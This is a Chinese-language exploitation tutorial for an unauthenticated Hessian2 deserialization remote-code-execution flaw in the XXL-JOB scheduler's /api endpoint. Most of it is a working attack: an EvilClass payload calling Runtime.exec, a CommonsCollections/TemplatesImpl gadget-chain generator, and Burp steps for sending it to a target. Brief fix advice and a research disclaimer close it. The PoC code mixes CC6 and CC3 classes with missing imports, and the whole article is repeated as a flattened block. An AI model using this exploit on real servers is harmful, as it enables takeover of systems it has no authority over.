xxl-job api未授权Hessian2反序列化复现研究与javachain打法超详细过程
字数 2993 2025-10-01 14:05:44

XXL-JOB API未授权Hessian反序列化漏洞研究与利用详解

1. 漏洞概述

XXL-JOB是一个流行的分布式任务调度平台。在其某些版本中,由于配置不当或默认配置,用于接收执行器(Executor)回调的API接口(/api)存在未授权访问漏洞。攻击者可以利用此漏洞,向该接口发送精心构造的Hessian2反序列化数据,从而在目标服务器上执行任意代码,实现远程代码执行(RCE)。

漏洞核心成因:

  1. 未授权访问/api 接口未做有效的身份认证或鉴权。
  2. Hessian反序列化:该接口使用Hessian2协议进行通信,并直接反序列化客户端传入的数据。
  3. 存在危险依赖:项目中依赖了包含危险基础库(如commons-collections),为反序列化利用链提供了条件。

2. 环境搭建与漏洞定位

2.1 环境搭建

  1. 下载有漏洞版本:从GitHub releases页面下载历史版本,例如 2.2.0 或更早的版本。
  2. 部署调度中心(Admin):解压后,初始化数据库,修改xxl-job-admin模块的application.properties中的数据库连接配置,然后启动项目。默认端口为8080
  3. 访问管理界面http://your-ip:8080/xxl-job-admin,默认账号密码为 admin/123456

2.2 漏洞接口定位

漏洞存在于调度中心(Admin)接收执行器回调的端点。

  • URL: http://your-ip:8080/xxl-job-admin/api
  • 方法: POST
  • Content-Type: application/x-www-form-urlencoded
  • 数据格式:请求体(body)中的内容是Hessian2序列化后并经过URL编码的二进制数据。

3. 漏洞原理分析

XXL-JOB的执行器在执行完任务后,需要向调度中心回调执行结果。这个通信过程使用的是Hessian2序列化协议。

com.xxl.job.core.rpc.netcom.NetComServerFactory#invokeService 方法是处理入口请求的核心。它调用 JettyServerHandler#handle 最终会调用到 XxlRpcProviderFactory#invokeService 方法。

关键的反序列化步骤发生在:
com.xxl.rpc.util.XxlRpcSerializer#deserialize 中,它根据请求的 XXL-RPC-SERIALIZER-CODE 头来决定序列化方式。默认情况下,HESSIAN 的 code 为 1

处理流程简化如下:

  1. 从HTTP请求中读取输入流。
  2. 识别序列化方式(默认为Hessian)。
  3. 直接使用 Hessian2Input 对输入流进行反序列化,还原远程调用对象(如 XxlRpcRequest)。
  4. 如果攻击者未经授权直接向 /api 发送请求,并且请求体中是被恶意构造的Hessian2序列化数据(而非正常的 XxlRpcRequest 对象),那么在反序列化过程中就会触发利用链,执行恶意代码。

由于XXL-JOB依赖了commons-collections等常见库,使得经典的CommonsCollections利用链(如CC1, CC3, CC6等)可以被使用。

4. 漏洞复现与利用(Javachain打法)

“Javachain”通常指利用TemplatesImpl这类最终能执行字节码的链,常与CommonsCollections等链结合。这里以经典的CommonsCollections6 + TemplatesImpl链为例。

4.1 准备工作

  1. 工具
    • Java IDE (IDEA/Eclipse)
    • Burp Suite
    • Marshalsec (或其他用于启动恶意RMI/LDAP服务的工具)
  2. 依赖JAR包
    • commons-collections-3.2.1.jar (或其他3.x版本)
    • hessian-4.0.66.jar (或其他版本,需与目标大致匹配)

4.2 利用步骤

步骤一:生成恶意字节码

首先,我们需要将要执行的Java代码编译成字节码(.class文件),然后将其嵌入到序列化数据中。通常使用javac编译一个简单的类。

// EvilClass.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.IOException;

public class EvilClass extends AbstractTranslet {
    public EvilClass() throws IOException {
        super();
        // 你的恶意代码,例如执行系统命令
        Runtime.getRuntime().exec("calc.exe"); // Windows弹计算器
        // Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "touch /tmp/pwned"}); // Linux
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws TransletException {
    }
}

使用 javac EvilClass.java 进行编译,得到 EvilClass.class 文件。

步骤二:构造Gadget链(CC6 + TemplatesImpl)

我们需要编写一个Java程序,利用CommonsCollections6TemplatesImpl来构造一个恶意的对象链,这个链在反序列化时会触发TemplatesImpl加载并初始化我们的EvilClass,从而执行构造函数中的代码。

// XxlJobHessianPOC.java
import com.xxl.rpc.serialize.impl.HessianSerializer;
import com.xxl.rpc.util.XxlRpcSerializer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class XxlJobHessianPOC {

    public static void main(String[] args) throws Exception {
        // 1. 创建包含恶意字节码的TemplatesImpl对象
        TemplatesImpl templates = createTemplatesImpl();

        // 2. 构造CC6利用链
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates})
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");

        // 3. 通过反射将真正的恶意transformers设置回去
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        // 4. 触发漏洞的入口点通常是HashMap的readObject,但我们需要将其包装成Hessian序列化格式
        // 创建一个包含恶意对象的HashMap
        HashMap rootMap = new HashMap<>();
        rootMap.put("pwn", expMap);

        // 5. 使用XXL-JOB自身的Hessian序列化器进行序列化
        HessianSerializer hessianSerializer = new HessianSerializer();
        byte[] serializedData = hessianSerializer.serialize(rootMap);

        // 6. 输出序列化后的数据(通常需要URL编码后通过Burp发送)
        System.out.println(java.util.Base64.getEncoder().encodeToString(serializedData));
        // 或者直接写入文件,供Burp Suite使用
        // java.nio.file.Files.write(java.nio.file.Paths.get("poc.bin"), serializedData);
    }

    private static TemplatesImpl createTemplatesImpl() throws Exception {
        // 读取之前编译好的恶意类字节码
        byte[] classBytes = java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("path/to/your/EvilClass.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Hello");
        setFieldValue(templates, "_bytecodes", new byte[][]{classBytes});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        return templates;
    }

    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

注意:上述代码中的 TrAXFilterInstantiateTransformer 是CC3链的关键,需要正确导入。你需要确保POC项目的依赖完整。

步骤三:发送恶意请求

  1. 运行POC程序:将上述Java程序运行,它会生成一段Hessian2序列化后的二进制数据(Base64编码或直接输出到文件poc.bin)。
  2. 使用Burp Suite
    • 拦截一个发送到 http://target-ip:port/xxl-job-admin/api 的POST请求。
    • 将请求体(body)全部替换为POC生成的二进制数据(如果是文件,使用Burp的Paste from file功能;如果是Base64,解码后粘贴)。
    • 非常重要:设置Content-Type请求头为 application/x-www-form-urlencoded
    • 发送请求。

如果目标环境存在漏洞且利用链适用,恶意代码(如弹出计算器)将会被执行。

5. 修复建议

  1. 升级版本:升级XXL-JOB到最新版本。官方已修复此问题。
  2. 启用认证:如果无法升级,确保为/api接口配置了身份认证和鉴权。可以在WebInterceptor或通过Spring Security等框架添加访问控制。
  3. 网络隔离:将调度中心部署在内网,禁止其API端口直接暴露到公网。
  4. 依赖安全:检查并移除不必要的危险依赖(如commons-collections),或升级到已修复反序列化问题的版本(但此法可能影响程序功能)。

6. 总结

该漏洞是一个典型的 “未授权访问 + 不安全反序列化” 组合漏洞。利用过程的关键在于:

  1. 识别未授权的Hessian端点。
  2. 根据目标ClassPath中的库,选择合适的反序列化利用链(如CommonsCollections系列)。
  3. 构造恶意Gadget链,并将其序列化为Hessian2格式。
  4. 通过未授权接口发送恶意负载。

理解并复现此漏洞,需要对Java反序列化原理、常见利用链(CC链)以及Hessian协议有深入的了解。


免责声明:本文仅用于安全研究和教育目的。请勿将其用于任何非法或未授权的测试活动中。

XXL-JOB API未授权Hessian反序列化漏洞研究与利用详解 1. 漏洞概述 XXL-JOB是一个流行的分布式任务调度平台。在其某些版本中,由于配置不当或默认配置,用于接收执行器(Executor)回调的API接口( /api )存在未授权访问漏洞。攻击者可以利用此漏洞,向该接口发送精心构造的Hessian2反序列化数据,从而在目标服务器上执行任意代码,实现远程代码执行(RCE)。 漏洞核心成因: 未授权访问 : /api 接口未做有效的身份认证或鉴权。 Hessian反序列化 :该接口使用Hessian2协议进行通信,并直接反序列化客户端传入的数据。 存在危险依赖 :项目中依赖了包含危险基础库(如 commons-collections ),为反序列化利用链提供了条件。 2. 环境搭建与漏洞定位 2.1 环境搭建 下载有漏洞版本 :从GitHub releases页面下载历史版本,例如 2.2.0 或更早的版本。 部署调度中心(Admin) :解压后,初始化数据库,修改 xxl-job-admin 模块的 application.properties 中的数据库连接配置,然后启动项目。默认端口为 8080 。 访问管理界面 : http://your-ip:8080/xxl-job-admin ,默认账号密码为 admin/123456 。 2.2 漏洞接口定位 漏洞存在于调度中心(Admin)接收执行器回调的端点。 URL : http://your-ip:8080/xxl-job-admin/api 方法 : POST Content-Type : application/x-www-form-urlencoded 数据格式 :请求体(body)中的内容是Hessian2序列化后并经过URL编码的二进制数据。 3. 漏洞原理分析 XXL-JOB的执行器在执行完任务后,需要向调度中心回调执行结果。这个通信过程使用的是Hessian2序列化协议。 com.xxl.job.core.rpc.netcom.NetComServerFactory#invokeService 方法是处理入口请求的核心。它调用 JettyServerHandler#handle 最终会调用到 XxlRpcProviderFactory#invokeService 方法。 关键的反序列化步骤发生在: com.xxl.rpc.util.XxlRpcSerializer#deserialize 中,它根据请求的 XXL-RPC-SERIALIZER-CODE 头来决定序列化方式。默认情况下, HESSIAN 的 code 为 1 。 处理流程简化如下: 从HTTP请求中读取输入流。 识别序列化方式(默认为Hessian)。 直接使用 Hessian2Input 对输入流进行反序列化,还原远程调用对象(如 XxlRpcRequest )。 如果攻击者未经授权直接向 /api 发送请求,并且请求体中是被恶意构造的Hessian2序列化数据(而非正常的 XxlRpcRequest 对象),那么在反序列化过程中就会触发利用链,执行恶意代码。 由于XXL-JOB依赖了 commons-collections 等常见库,使得经典的 CommonsCollections 利用链(如CC1, CC3, CC6等)可以被使用。 4. 漏洞复现与利用(Javachain打法) “Javachain”通常指利用 TemplatesImpl 这类最终能执行字节码的链,常与 CommonsCollections 等链结合。这里以经典的 CommonsCollections6 + TemplatesImpl 链为例。 4.1 准备工作 工具 : Java IDE (IDEA/Eclipse) Burp Suite Marshalsec (或其他用于启动恶意RMI/LDAP服务的工具) 依赖JAR包 : commons-collections-3.2.1.jar (或其他3.x版本) hessian-4.0.66.jar (或其他版本,需与目标大致匹配) 4.2 利用步骤 步骤一:生成恶意字节码 首先,我们需要将要执行的Java代码编译成字节码(.class文件),然后将其嵌入到序列化数据中。通常使用 javac 编译一个简单的类。 使用 javac EvilClass.java 进行编译,得到 EvilClass.class 文件。 步骤二:构造Gadget链(CC6 + TemplatesImpl) 我们需要编写一个Java程序,利用 CommonsCollections6 和 TemplatesImpl 来构造一个恶意的对象链,这个链在反序列化时会触发 TemplatesImpl 加载并初始化我们的 EvilClass ,从而执行构造函数中的代码。 注意 :上述代码中的 TrAXFilter 和 InstantiateTransformer 是CC3链的关键,需要正确导入。你需要确保POC项目的依赖完整。 步骤三:发送恶意请求 运行POC程序 :将上述Java程序运行,它会生成一段Hessian2序列化后的二进制数据(Base64编码或直接输出到文件 poc.bin )。 使用Burp Suite : 拦截一个发送到 http://target-ip:port/xxl-job-admin/api 的POST请求。 将请求体(body) 全部替换 为POC生成的二进制数据(如果是文件,使用Burp的 Paste from file 功能;如果是Base64,解码后粘贴)。 非常重要: 设置Content-Type请求头为 application/x-www-form-urlencoded 。 发送请求。 如果目标环境存在漏洞且利用链适用,恶意代码(如弹出计算器)将会被执行。 5. 修复建议 升级版本 :升级XXL-JOB到最新版本。官方已修复此问题。 启用认证 :如果无法升级,确保为 /api 接口配置了身份认证和鉴权。可以在 WebInterceptor 或通过Spring Security等框架添加访问控制。 网络隔离 :将调度中心部署在内网,禁止其API端口直接暴露到公网。 依赖安全 :检查并移除不必要的危险依赖(如 commons-collections ),或升级到已修复反序列化问题的版本(但此法可能影响程序功能)。 6. 总结 该漏洞是一个典型的 “未授权访问 + 不安全反序列化” 组合漏洞。利用过程的关键在于: 识别未授权的Hessian端点。 根据目标ClassPath中的库,选择合适的反序列化利用链(如CommonsCollections系列)。 构造恶意Gadget链,并将其序列化为Hessian2格式。 通过未授权接口发送恶意负载。 理解并复现此漏洞,需要对Java反序列化原理、常见利用链(CC链)以及Hessian协议有深入的了解。 免责声明:本文仅用于安全研究和教育目的。请勿将其用于任何非法或未授权的测试活动中。